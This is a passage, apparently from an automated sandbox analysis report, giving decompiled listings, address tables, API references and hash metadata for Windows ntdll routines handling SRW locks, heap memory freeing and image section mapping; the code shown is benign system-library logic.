					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6B55FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6B562280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6B562280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6B55FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6B562280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6B5D30AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6B543E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6b63b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6b63b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6b63b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6B567D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
										_t252 = E6B5D2E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6B543E6B(_t252);
									_t230 = E6B543E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6b543aca
0x6b543acf
0x6b543ad4
0x6b543ad9
0x6b543adb
0x6b543ae0
0x6b543ae3
0x6b543ae5
0x6b543ae8
0x6b543aeb
0x6b543aed
0x6b543af5
0x6b543af8
0x6b543afb
0x6b543afe
0x6b543b05
0x6b543b0a
0x6b543b0d
0x00000000
0x6b543b10
0x6b543b15
0x6b543b1a
0x6b543b21
0x6b543b30
0x6b543b30
0x6b543b33
0x6b543b33
0x6b543b36
0x6b543b39
0x6b543b3f
0x6b543b47
0x6b543b4a
0x6b543b4a
0x6b543b4f
0x6b543b4f
0x6b543b4f
0x6b543b4f
0x6b543b4f
0x6b543b54
0x6b543b5c
0x6b543b61
0x6b543b67
0x6b543b6f
0x6b543b6f
0x6b543b71
0x6b543b75
0x6b543b77
0x00000000
0x00000000
0x6b543e6c
0x6b543e6c
0x6b543b7d
0x6b543b7d
0x6b543b82
0x6b543b84
0x6b543b87
0x6b543b8a
0x6b543b8d
0x6b543b90
0x6b543b90
0x6b543b97
0x6b543b97
0x6b543ba7
0x6b543baa
0x6b543bad
0x6b543bad
0x6b543bb7
0x6b543bb7
0x6b543bbc
0x6b543bbf
0x6b543bc1
0x6b543bc7
0x6b543bcd
0x6b543bd5
0x6b543bd8
0x6b543bda
0x6b543be1
0x6b543be4
0x6b543be7
0x6b543bea
0x6b543bed
0x6b543d97
0x6b543d9c
0x6b543da8
0x6b543dad
0x6b543db0
0x6b543db2
0x6b543db5
0x6b5a020b
0x6b5a0211
0x6b5a0213
0x6b5a0213
0x6b543dbb
0x00000000
0x6b543dbb
0x6b543bf3
0x6b543bf5
0x00000000
0x00000000
0x6b543bfb
0x6b543bfe
0x6b543bfe
0x6b543bfe
0x6b543c02
0x6b543dd1
0x6b543dd1
0x6b543dd7
0x6b5a00c1
0x6b5a00c4
0x6b543c11
0x6b543c11
0x6b543c14
0x6b5a00cf
0x6b5a00d2
0x00000000
0x00000000
0x6b5a00d8
0x6b5a00e6
0x6b5a00e9
0x6b5a00ec
0x6b5a00ef
0x00000000
0x00000000
0x00000000
0x6b5a00f5
0x6b5a00dd
0x6b5a00e0
0x00000000
0x00000000
0x00000000
0x6b5a00e0
0x6b543c1a
0x6b543c1a
0x6b543c1d
0x6b543e20
0x6b543e23
0x00000000
0x00000000
0x00000000
0x6b543e29
0x6b543c23
0x6b543c23
0x6b543c26
0x6b543c2c
0x6b543c2f
0x6b543c35
0x6b543c3b
0x6b543c41
0x6b543c47
0x6b543c4d
0x6b543c59
0x6b543c5f
0x6b543c62
0x6b543c68
0x6b543c6a
0x6b543c6d
0x6b543c74
0x6b543c79
0x6b543c7b
0x6b543c7e
0x6b543c80
0x6b543c83
0x6b543c89
0x6b543c8b
0x6b543dea
0x6b543df1
0x6b543df2
0x6b543df5
0x6b543df8
0x6b543dfb
0x6b543dfd
0x00000000
0x00000000
0x6b543e03
0x6b543e07
0x6b543e42
0x6b543e49
0x6b543e4a
0x6b543e4d
0x00000000
0x6b543e4d
0x6b543e09
0x6b543d86
0x6b543d89
0x6b543d8c
0x6b543d8e
0x6b543e31
0x6b543e31
0x6b543d94
0x00000000
0x6b543d94
0x6b543c91
0x6b543c91
0x6b543c94
0x6b543d23
0x6b543d23
0x6b543d27
0x6b543e16
0x6b543e16
0x6b543d2d
0x6b543d31
0x6b5a01fe
0x6b5a01fe
0x6b543d84
0x6b543d84
0x00000000
0x6b543d84
0x6b543d3d
0x6b543d44
0x6b543d45
0x6b543d48
0x6b543d4f
0x6b5a01de
0x6b5a01de
0x6b5a01e2
0x00000000
0x00000000
0x6b5a01ea
0x6b5a01ea
0x6b5a01eb
0x6b5a01f9
0x00000000
0x6b5a01f9
0x6b543d55
0x6b543d5c
0x00000000
0x00000000
0x6b543d62
0x6b543d66
0x6b543e55
0x6b543e5e
0x6b543e60
0x00000000
0x00000000
0x6b543d75
0x6b543d75
0x6b543d79
0x6b543d7b
0x6b543d7e
0x6b5a01c7
0x6b5a01ca
0x6b5a01cd
0x6b5a01d0
0x6b5a01d3
0x6b5a01d6
0x6b5a01d6
0x6b543d7e
0x00000000
0x6b543d79
0x6b543d6c
0x6b543d72
0x00000000
0x6b543d72
0x6b543c9d
0x6b543ca0
0x6b543cab
0x6b543cae
0x6b543cb1
0x6b543cb5
0x6b543cb7
0x6b543cd2
0x6b543cdb
0x6b543cdb
0x6b543cde
0x6b543ce1
0x6b543ce3
0x6b5a00fa
0x6b5a00fd
0x00000000
0x00000000
0x6b5a0103
0x6b5a0107
0x6b5a0113
0x6b5a0125
0x6b5a012b
0x6b5a012e
0x6b5a0131
0x00000000
0x6b5a0131
0x6b5a0109
0x6b5a010d
0x00000000
0x00000000
0x00000000
0x6b543ce9
0x6b543ce9
0x6b543ce9
0x6b543cee
0x6b5a0139
0x6b5a0149
0x6b5a014f
0x6b5a014f
0x6b543cf4
0x6b543cf9
0x6b543cfb
0x6b5a0160
0x6b543d01
0x6b543d01
0x6b543d01
0x6b543d06
0x6b543d09
0x6b5a0184
0x6b5a0184
0x6b543d0f
0x6b543d16
0x6b543d1e
0x00000000
0x6b543d1e
0x6b543ce3
0x6b5a00ca
0x6b543ddd
0x6b543de0
0x00000000
0x00000000
0x00000000
0x6b543de2
0x6b543c08
0x6b543c0b
0x6b543dc9
0x6b543dcb
0x00000000
0x00000000
0x00000000
0x6b543dcb
0x00000000
0x6b543c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6B61F4D0,00000084,6B543A18,00000000,?,?), ref: 6B543B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6B61F4D0,00000084,6B543A18,00000000,?,?), ref: 6B543B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6B61F4D0,00000084,6B543A18,00000000,?,?), ref: 6B543C74

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: 124fcfa397b6e714a02e3a0548913e7f193e2416461c435eee7482a5727c4639
Instruction ID: ae7d96f52687062495d42dbc26c8cd98589d805dbdf60a85005d2329d9984481
Opcode Fuzzy Hash: 124fcfa397b6e714a02e3a0548913e7f193e2416461c435eee7482a5727c4639
Instruction Fuzzy Hash: 73E1EF71E01608DFEB25CFA9C980ACDFBF1BF48314F2449AAE556A7660D739A941CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6B57AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6B57AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6B59D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6b638a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6B5896E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6B5F3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6B5896E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6B54B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6B6014FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6B567D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6B601411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6B567D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6B601411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6b57ac85
0x6b57ac88
0x6b57ac8a
0x6b57ac8d
0x6b57ac91
0x6b57ac99
0x6b57ac9c
0x6b5b9f57
0x6b5b9f5b
0x6b5b9f60
0x6b5b9f60
0x6b57aca8
0x6b57acae
0x6b57acda
0x6b57acde
0x6b57ace8
0x6b57aceb
0x6b57acee
0x00000000
0x6b57acee
0x6b57acf6
0x6b57acb0
0x6b57acb0
0x6b57acbb
0x6b57acbd
0x6b57acc0
0x6b57acc5
0x6b57adae
0x6b57adb4
0x6b57adb4
0x6b57acd4
0x6b57acd8
0x6b57acf9
0x6b57acff
0x6b57ad04
0x6b57ad08
0x6b57ad09
0x6b57ad10
0x6b57ad12
0x6b57ad18
0x6b5b9f6f
0x6b5b9f74
0x6b5b9f76
0x6b5b9f7c
0x6b5b9f84
0x6b5b9f88
0x6b5b9f89
0x6b5b9f90
0x6b5b9f90
0x6b5b9f76
0x6b57ad1e
0x6b57ad24
0x6b57ad26
0x6b5ba097
0x6b5ba09b
0x6b5ba0ba
0x6b5ba0bf
0x6b5ba09d
0x6b5ba0b2
0x6b5ba0b7
0x6b5ba0c5
0x6b5ba0c8
0x6b5ba0cb
0x6b5ba0d2
0x00000000
0x6b57ad2c
0x6b57ad2c
0x6b57ad2f
0x6b57ad34
0x6b57ad36
0x6b5b9f97
0x6b5b9f9a
0x00000000
0x00000000
0x6b5b9fa9
0x6b57ad3e
0x6b57ad3e
0x6b57ad41
0x6b5b9fb3
0x6b5b9fb9
0x6b5b9fc0
0x6b5b9fd0
0x6b5b9fd0
0x6b5b9fc0
0x6b57ad4a
0x6b57ad50
0x6b57ad5c
0x6b57ad62
0x6b57ad68
0x6b57ad6b
0x6b57ad6d
0x6b5b9fda
0x6b5b9fdd
0x00000000
0x00000000
0x6b5b9fec
0x00000000
0x6b57ad73
0x6b57ad73
0x6b57ad73
0x6b57ad75
0x6b57ad75
0x6b57ad78
0x6b5b9ff6
0x6b5b9ffc
0x6b5ba003
0x6b5ba00e
0x6b5ba010
0x6b5ba01b
0x6b5ba01b
0x6b5ba01b
0x6b5ba038
0x6b5ba038
0x6b5ba003
0x6b57ad84
0x6b57ad89
0x6b57ad8c
0x6b57ad8e
0x6b5ba042
0x6b5ba045
0x00000000
0x00000000
0x6b5ba054
0x00000000
0x6b57ad94
0x6b57ad94
0x6b57ad94
0x6b57ad96
0x6b57ad96
0x6b57ad99
0x6b5ba063
0x6b5ba065
0x6b5ba070
0x6b5ba070
0x6b5ba070
0x6b5ba08d
0x6b5ba08d
0x6b57ada4
0x6b57ada6
0x00000000
0x6b57ada6
0x6b57ad8e
0x6b57ad6d
0x6b57ad3c
0x6b57ad3c
0x00000000
0x6b57ad3c
0x00000000
0x00000000
0x00000000
0x6b57acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6B57AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6B5B9F5B

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6B5BA0CD
HEAP[%wZ]: , xrefs: 6B5BA0AD
HEAP: , xrefs: 6B5BA0BA

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: 23190834b626b7e7fab4f3b461958d0d604fddda6a54282104721c58f424137e
Instruction ID: 232ab3ce8a78fec48949b727127a80faf877daf9d6e097d279d6f16c57930ea6
Opcode Fuzzy Hash: 23190834b626b7e7fab4f3b461958d0d604fddda6a54282104721c58f424137e
Instruction Fuzzy Hash: 6981DF31644684EFF722DBA8C995FDABBF8EB05714F0445E5E5518B2A2D73CEA40CB20

Uniqueness

Uniqueness Score: -1.00%

Function 6B57D7CA, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6B57D7CA(signed int __ecx, intOrPtr* __edx, char _a4, long* _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				char _v24;
				signed int _v28;
				long _v32;
				char _v36;
				long _v40;
				long _v44;
				void* _v48;
				signed int _v52;
				long _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char* _v76;
				signed int _v80;
				char _v84;
				void* _t70;
				signed int _t77;
				signed int _t83;
				intOrPtr _t97;
				signed int _t99;
				signed int _t100;
				void* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t108;
				long* _t109;
				long _t113;
				void* _t114;
				intOrPtr* _t115;
				signed int _t116;

				_t115 = __edx;
				_t113 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v24 = 0;
				if(__ecx == 0 || __edx == 0 || _a12 == 0) {
					return 0xc000000d;
				} else {
					_t70 = __ecx & 0xfffffffc;
					RtlImageNtHeader(_t70);
					if(_t70 == 0) {
						_t116 = 0xc000007b;
						L27:
						if(_v8 != 0) {
							_push(_v8);
							E6B5895D0();
							_v8 = _t113;
						}
						if(_v16 != 0) {
							_push(_v16);
							_push(0xffffffff);
							E6B5897A0();
						}
						L25:
						return _t116;
					}
					_t104 = 6;
					asm("sbb ebx, ebx");
					_t105 = 2;
					_t102 = (_t100 & _t104) + _t105;
					if(_a4 != 0) {
						_v36 =  *_t115;
						_v32 =  *((intOrPtr*)(_t115 + 4));
						_v20 = 0;
						_v84 = 0x18;
						L33:
						_v80 = _v80 & 0x00000000;
						L10:
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						_v72 = 0x40;
						_v76 =  &_v36;
						_t77 = E6B57D976( &_v8,  &_v84, _v28);
						_t116 = _t77;
						if(_t113 == 0) {
							_t113 = 0;
							L14:
							if(_t116 < 0) {
								goto L27;
							}
							_push(_v8);
							_push(0x8000000);
							_push(_t102);
							_push(_t113);
							_push(_t113);
							_push(0xf0005);
							_push( &_v12);
							_t116 = E6B5899A0();
							if(_t116 < 0) {
								goto L27;
							}
							_push(_t102);
							_push(_t113);
							_push(1);
							_v44 = _t113;
							_push( &_v24);
							_v40 = _t113;
							_push( &_v44);
							_push(_t113);
							_push(_t113);
							_push( &_v16);
							_push(0xffffffff);
							_push(_v12);
							_t83 = E6B589780();
							_t116 = _t83;
							if(_v12 != 0) {
								_push(_v12);
								_t83 = E6B5895D0();
								_v12 = _t113;
							}
							if(_t116 < 0) {
								goto L27;
							} else {
								RtlImageNtHeader(_v16);
								if(_t83 == 0) {
									_t116 = 0xc000007b;
								}
								if(_t116 < 0) {
									goto L27;
								} else {
									 *_a12 = _v16;
									_t108 = _a16;
									if(_t108 != 0) {
										 *_t108 = _v24;
									}
									_t109 = _a8;
									if(_t109 == 0) {
										if(_v8 != 0) {
											_push(_v8);
											E6B5895D0();
										}
									} else {
										 *_t109 = _v8;
									}
									goto L25;
								}
							}
						}
						_t114 = _v48;
						if(_t114 != 0) {
							asm("lock xadd [edi], eax");
							if((_t77 | 0xffffffff) != 0) {
								goto L12;
							}
							_push( *((intOrPtr*)(_t114 + 4)));
							E6B5895D0();
							_t113 = 0;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t114);
							L13:
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t113, _v20);
							goto L14;
						}
						L12:
						_t113 = 0;
						goto L13;
					}
					_t116 = E6B5565BA(_t105,  *((intOrPtr*)(_t115 + 4)),  &_v36, 0,  &_v60);
					if(_t116 < 0) {
						goto L27;
					}
					_t97 = _v60;
					_t113 = _v32;
					_v20 = _t113;
					if(_t97 != 0) {
						_v36 = _t97;
						_v32 = _v56;
						_t99 = _v52;
					} else {
						_t99 = 0;
					}
					_v84 = 0x18;
					if(_t113 == 0) {
						goto L33;
					} else {
						_v80 = _t99;
						goto L10;
					}
				}
			}

0x6b57d7d6
0x6b57d7d9
0x6b57d7db
0x6b57d7de
0x6b57d7e1
0x6b57d7e4
0x6b57d7e7
0x6b57d7ec
0x00000000
0x6b57d803
0x6b57d803
0x6b57d807
0x6b57d80e
